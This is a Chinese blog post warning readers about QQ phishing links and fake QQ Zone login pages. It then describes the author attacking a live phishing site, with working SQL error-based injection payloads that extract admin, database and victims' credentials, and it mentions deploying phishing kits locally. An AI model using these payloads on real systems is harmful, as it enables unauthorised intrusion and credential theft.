文章作者: 南宫十六
文章来源:渗透云笔记
以前在qq上就收到过朋友发来的二维码链接啥的,一般的套路就是诱导你扫描这个二维码或者点击这个链接。
例如某天爱玩吃鸡的你收到一条链接,标题是点击领取金币领皮肤领…然后你兴奋的不行,点开之后让你输入账号密码登录,你看着这个页面,没有发现半点可疑的地方,然后就把账号密码随手输了进去。不一会儿,你的qq提示在其他地方登录,然后你列表的好友就都收到了你发给他们的链接。又比如某天,你收到一条消息/一条空间留言,内容是:这个人的qq空间里怎么有你的照片?又或者是:这个人是谁?为什么他空间有你俩的合影?单纯善良好奇心又巨强的你瞬间懵了,同学?我和谁合过影啊?都忘了,赶紧去看看。但是你点击以后是个qq空间的页面让你登录,合情合理啊,毕竟是qq空间相册,那就登录呗,然后你qq就掉线了。
本文没啥技术含量,因为这几天正好碰到一个钓鱼网站,结合着真实的钓鱼网站打算给朋友们科普一下,提高一下防范意识。
某个无聊的下午,正吃着西瓜刷着微博,突然收到一条QQ消息,吓得我赶紧放下了手中的西瓜…
是一个朋友发来的消息,内容如下:
那就扫一下呗,二维码直接拿到电脑上扫了一下,得到一个短网址
还原短网址得到一个链接
然后我们直接访问这个链接,会先出现一个电脑管家安全检测的页面,最终会跳转到真实钓鱼网站的页面。不得不说,这个安全检测过程做的还有模有样的,这个过程会让人们更容易相信这是一个安全的网站,减少顾虑,从而增加成功的概率。(如果在手机qq里面长按二维码识别,然后跳转到钓鱼网站页面的过程是看不到网站域名的,最终只有一个qq空间登录页面。)
正常情况下,输入qq号码和密码后跳转到QQ空间黄钻活动页面。
前两天在FreeBuf上看到一个大佬对这类钓鱼网站的源码做了代码审计(传送门),正好拿这个网站练练手。无奈管理员登录界面根本找不到,猜了半天,最终发现有一个“后台”拼音缩写的目录,但是访问也跳转不到管理地址,又扫了一下,无果,遂放弃。
在对传递参数进行测试的过程中,发现密码输入框处存在SQL注入漏洞。
正常输入:
传递单引号报错:
此处的查询语句应该是
1 |
select * from qq where username='xxx' and password='xxx'; |
本来以为是Sqlmap一把梭的那种,结果跑一下就被waf封IP,那就手工呗。
报错注入,已知表名是qq,字段名是username,password
获取数据库名:
1 |
' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# |
数据库名字为’db’,猜测管理员表名为admin,字段名同上
1 |
' and (extractvalue(1,concat(0x7e,(select username from db.admin),0x7e)))# |
由于extractvalue()这几种报错注入的方法最多显示32位,所以可以用substring()分割一下
1 |
' and (extractvalue(1,concat(0x7e,(substring((select password from db.admin),1,16 )),0x7e)))# |
拿数据库的密码时用了另外一种方法
1 |
' and (select 1 from (select count(*),concat('~',(select Password from mysql.user where host='127.0.0.1' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)# |
查受害者的账号密码
1 |
' and (extractvalue(1,concat(0x7e,(select username from db.qq where id=1),0x7e,(select password from db.qq where id=1),0x7e)))# |
本来还想试试load_file()读个配置文件啥的,后来发现是高版本的mysql,凉凉~
你还想看后续???你们有啥想法和思路倒是可以交流一下~比如什么给他提交10万条假数据一类的…
收集了几个网上公开的钓鱼网站源码,然后在本地搭建了一下,给大家看下效果。
手机访问效果如下:
输入账号密码后跳转至真实的网站
此时后台就拿到了你输入的内容
访问效果
后台收到账号信息
这个网站也是输入完账号密码跳转到真实的页面,我发现这个页面分毫不差,看对比图
你可能喜欢